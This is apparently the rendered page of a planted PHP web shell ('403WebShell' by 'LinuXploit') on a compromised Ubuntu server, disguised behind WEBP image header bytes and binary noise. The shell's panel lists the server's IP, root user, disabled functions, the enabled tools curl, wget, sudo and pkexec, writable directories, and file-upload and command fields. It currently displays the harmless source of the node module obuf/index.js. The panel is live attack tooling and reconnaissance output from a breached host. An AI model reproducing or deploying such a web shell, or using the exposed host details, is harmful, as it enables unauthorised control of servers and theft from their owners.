RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/home/web/dev.agtindia.co.in/project-mgt/node_modules/obuf/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /proc/thread-self/root/home/web/dev.agtindia.co.in/project-mgt/node_modules/obuf/index.js
var Buffer = require('buffer').Buffer;

function OffsetBuffer() {
  this.offset = 0;
  this.size = 0;
  this.buffers = [];
}
module.exports = OffsetBuffer;

OffsetBuffer.prototype.isEmpty = function isEmpty() {
  return this.size === 0;
};

OffsetBuffer.prototype.clone = function clone(size) {
  var r = new OffsetBuffer();
  r.offset = this.offset;
  r.size = size;
  r.buffers = this.buffers.slice();
  return r;
};

OffsetBuffer.prototype.toChunks = function toChunks() {
  if (this.size === 0)
    return [];

  // We are going to slice it anyway
  if (this.offset !== 0) {
    this.buffers[0] = this.buffers[0].slice(this.offset);
    this.offset = 0;
  }

  var chunks = [ ];
  var off = 0;
  for (var i = 0; off <= this.size && i < this.buffers.length; i++) {
    var buf = this.buffers[i];
    off += buf.length;

    // Slice off last buffer
    if (off > this.size) {
      buf = buf.slice(0, buf.length - (off - this.size));
      this.buffers[i] = buf;
    }

    chunks.push(buf);
  }

  // If some buffers were skipped - trim length
  if (i < this.buffers.length)
    this.buffers.length = i;

  return chunks;
};

OffsetBuffer.prototype.toString = function toString(enc) {
  return this.toChunks().map(function(c) {
    return c.toString(enc);
  }).join('');
};

OffsetBuffer.prototype.use = function use(buf, off, n) {
  this.buffers = [ buf ];
  this.offset = off;
  this.size = n;
};

OffsetBuffer.prototype.push = function push(data) {
  // Ignore empty writes
  if (data.length === 0)
    return;

  this.size += data.length;
  this.buffers.push(data);
};

OffsetBuffer.prototype.has = function has(n) {
  return this.size >= n;
};

OffsetBuffer.prototype.skip = function skip(n) {
  if (this.size === 0)
    return;

  this.size -= n;

  // Fast case, skip bytes in a first buffer
  if (this.offset + n < this.buffers[0].length) {
    this.offset += n;
    return;
  }

  var left = n - (this.buffers[0].length - this.offset);
  this.offset = 0;

  for (var shift = 1; left > 0 && shift < this.buffers.length; shift++) {
    var buf = this.buffers[shift];
    if (buf.length > left) {
      this.offset = left;
      break;
    }
    left -= buf.length;
  }
  this.buffers = this.buffers.slice(shift);
};

OffsetBuffer.prototype.copy = function copy(target, targetOff, off, n) {
  if (this.size === 0)
    return;
  if (off !== 0)
    throw new Error('Unsupported offset in .copy()');

  var toff = targetOff;
  var first = this.buffers[0];
  var toCopy = Math.min(n, first.length - this.offset);
  first.copy(target, toff, this.offset, this.offset + toCopy);

  toff += toCopy;
  var left = n - toCopy;
  for (var i = 1; left > 0 && i < this.buffers.length; i++) {
    var buf = this.buffers[i];
    var toCopy = Math.min(left, buf.length);

    buf.copy(target, toff, 0, toCopy);

    toff += toCopy;
    left -= toCopy;
  }
};

OffsetBuffer.prototype.take = function take(n) {
  if (n === 0)
    return new Buffer(0);

  this.size -= n;

  // Fast cases
  var first = this.buffers[0].length - this.offset;
  if (first === n) {
    var r = this.buffers.shift();
    if (this.offset !== 0) {
      r = r.slice(this.offset);
      this.offset = 0;
    }
    return r;
  } else if (first > n) {
    var r = this.buffers[0].slice(this.offset, this.offset + n);
    this.offset += n;
    return r;
  }

  // Allocate and fill buffer
  var out = new Buffer(n);
  var toOff = 0;
  var startOff = this.offset;
  for (var i = 0; toOff !== n && i < this.buffers.length; i++) {
    var buf = this.buffers[i];
    var toCopy = Math.min(buf.length - startOff, n - toOff);

    buf.copy(out, toOff, startOff, startOff + toCopy);
    if (startOff + toCopy < buf.length) {
      this.offset = startOff + toCopy;
      break;
    } else {
      toOff += toCopy;
      startOff = 0;
    }
  }

  this.buffers = this.buffers.slice(i);
  if (this.buffers.length === 0)
    this.offset = 0;

  return out;
};

OffsetBuffer.prototype.peekUInt8 = function peekUInt8() {
  return this.buffers[0][this.offset];
};

OffsetBuffer.prototype.readUInt8 = function readUInt8() {
  this.size -= 1;
  var first = this.buffers[0];
  var r = first[this.offset];
  if (++this.offset === first.length) {
    this.offset = 0;
    this.buffers.shift();
  }

  return r;
};

OffsetBuffer.prototype.readUInt16LE = function readUInt16LE() {
  var first = this.buffers[0];
  this.size -= 2;

  var r;
  var shift;

  // Fast case - first buffer has all bytes
  if (first.length - this.offset >= 2) {
    r = first.readUInt16LE(this.offset);
    shift = 0;
    this.offset += 2;

  // One byte here - one byte there
  } else {
    r = first[this.offset] | (this.buffers[1][0] << 8);
    shift = 1;
    this.offset = 1;
  }

  if (this.offset === this.buffers[shift].length) {
    this.offset = 0;
    shift++;
  }
  if (shift !== 0)
    this.buffers = this.buffers.slice(shift);

  return r;
};

OffsetBuffer.prototype.readUInt24LE = function readUInt24LE() {
  var first = this.buffers[0];

  var r;
  var shift;
  var firstHas = first.length - this.offset;

  // Fast case - first buffer has all bytes
  if (firstHas >= 3) {
    r = first.readUInt16LE(this.offset) | (first[this.offset + 2] << 16);
    shift = 0;
    this.offset += 3;

  // First buffer has 2 of 3 bytes
  } else if (firstHas >= 2) {
    r = first.readUInt16LE(this.offset) | (this.buffers[1][0] << 16);
    shift = 1;
    this.offset = 1;

  // Slow case: First buffer has 1 of 3 bytes
  } else {
    r = first[this.offset];
    this.offset = 0;
    this.buffers.shift();
    this.size -= 1;

    r |= this.readUInt16LE() << 8;
    return r;
  }

  this.size -= 3;
  if (this.offset === this.buffers[shift].length) {
    this.offset = 0;
    shift++;
  }
  if (shift !== 0)
    this.buffers = this.buffers.slice(shift);

  return r;
};

OffsetBuffer.prototype.readUInt32LE = function readUInt32LE() {
  var first = this.buffers[0];

  var r;
  var shift;
  var firstHas = first.length - this.offset;

  // Fast case - first buffer has all bytes
  if (firstHas >= 4) {
    r = first.readUInt32LE(this.offset);
    shift = 0;
    this.offset += 4;

  // First buffer has 3 of 4 bytes
  } else if (firstHas >= 3) {
    r = (first.readUInt16LE(this.offset) |
         (first[this.offset + 2] << 16)) +
        (this.buffers[1][0] * 0x1000000);
    shift = 1;
    this.offset = 1;

  // Slow case: First buffer has 2 of 4 bytes
  } else if (firstHas >= 2) {
    r = first.readUInt16LE(this.offset);
    this.offset = 0;
    this.buffers.shift();
    this.size -= 2;

    r += this.readUInt16LE() * 0x10000;
    return r;

  // Slow case: First buffer has 1 of 4 bytes
  } else {
    r = first[this.offset];
    this.offset = 0;
    this.buffers.shift();
    this.size -= 1;

    r += this.readUInt24LE() * 0x100;
    return r;
  }

  this.size -= 4;
  if (this.offset === this.buffers[shift].length) {
    this.offset = 0;
    shift++;
  }
  if (shift !== 0)
    this.buffers = this.buffers.slice(shift);

  return r;
};

OffsetBuffer.prototype.readUInt16BE = function readUInt16BE() {
  var r = this.readUInt16LE();

  return ((r & 0xff) << 8) | (r >> 8);
};

OffsetBuffer.prototype.readUInt24BE = function readUInt24BE() {
  var r = this.readUInt24LE();

  return ((r & 0xff) << 16) | (((r >> 8) & 0xff) << 8) | (r >> 16);
};

OffsetBuffer.prototype.readUInt32BE = function readUInt32BE() {
  var r = this.readUInt32LE();

  return (((r & 0xff) << 24) |
          (((r >>> 8) & 0xff) << 16) |
          (((r >>> 16) & 0xff) << 8) |
          (r >>> 24)) >>> 0;
};

// Signed number APIs

function signedInt8(num) {
  if (num >= 0x80)
    return -(0xff ^ num) - 1;
  else
    return num;
}

OffsetBuffer.prototype.peekInt8 = function peekInt8() {
  return signedInt8(this.peekUInt8());
};

OffsetBuffer.prototype.readInt8 = function readInt8() {
  return signedInt8(this.readUInt8());
};

function signedInt16(num) {
  if (num >= 0x8000)
    return -(0xffff ^ num) - 1;
  else
    return num;
}

OffsetBuffer.prototype.readInt16BE = function readInt16BE() {
  return signedInt16(this.readUInt16BE());
};

OffsetBuffer.prototype.readInt16LE = function readInt16LE() {
  return signedInt16(this.readUInt16LE());
};

function signedInt24(num) {
  if (num >= 0x800000)
    return -(0xffffff ^ num) - 1;
  else
    return num;
}

OffsetBuffer.prototype.readInt24BE = function readInt24BE() {
  return signedInt24(this.readUInt24BE());
};

OffsetBuffer.prototype.readInt24LE = function readInt24LE() {
  return signedInt24(this.readUInt24LE());
};

function signedInt32(num) {
  if (num >= 0x80000000)
    return -(0xffffffff ^ num) - 1;
  else
    return num;
}

OffsetBuffer.prototype.readInt32BE = function readInt32BE() {
  return signedInt32(this.readUInt32BE());
};

OffsetBuffer.prototype.readInt32LE = function readInt32LE() {
  return signedInt32(this.readUInt32LE());
};

Youez - 2016 - github.com/yon3zu
LinuXploit